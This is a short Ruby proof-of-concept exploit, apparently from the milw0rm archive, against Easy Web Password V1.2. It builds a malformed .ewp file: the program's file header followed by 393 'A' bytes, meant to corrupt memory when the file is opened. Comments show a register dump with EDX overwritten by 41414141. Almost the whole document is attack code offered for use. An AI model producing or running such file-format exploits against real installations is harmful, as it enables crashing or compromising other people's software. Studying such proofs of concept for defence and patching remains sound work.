#!/usr/bin/env ruby
# Easy Web Password V1.2 Local Heap Memory Consumption Proof of concept
# http://www.efssoft.com/ewpsetup.exe
# Register
# EAX 00000000
# ECX 04A43C58
# EDX 41414141  ( EDX overwrited )
# EBX 00000001
# ESP 0012A4E0
# EBP 0012F140
# ESI 0012A720
# EDI 2FDE5000
# EIP 00405AB4 EasyWebP.00405AB4
time3 = Time.new
puts "Exploit Started in Current Time :" + time3.inspect
puts "Enter Name For your File Like : Stack"
moad = gets.chomp.capitalize
puts "Name Of File : " + moad +'.html'
time1 = Time.new
$VERBOSE=nil
Header =   "\x4D\x79\x44\x42\x2C\x43\x6F\x70\x79\x72\x69"+
           "\x67\x68\x74\x5F\x47\x75\x48\x6F\x6E\x67"
    
Bof    =  "\x41" * 393
   
crash =  Header + Bof
 
File.open( moad+".ewp", "w" ) do |the_file|
the_file.puts(crash)
puts "Exploit finished in Current Time :" + time1.inspect
puts "Now Open " + moad +".ewp :d"
end

# milw0rm.com [2009-03-04]
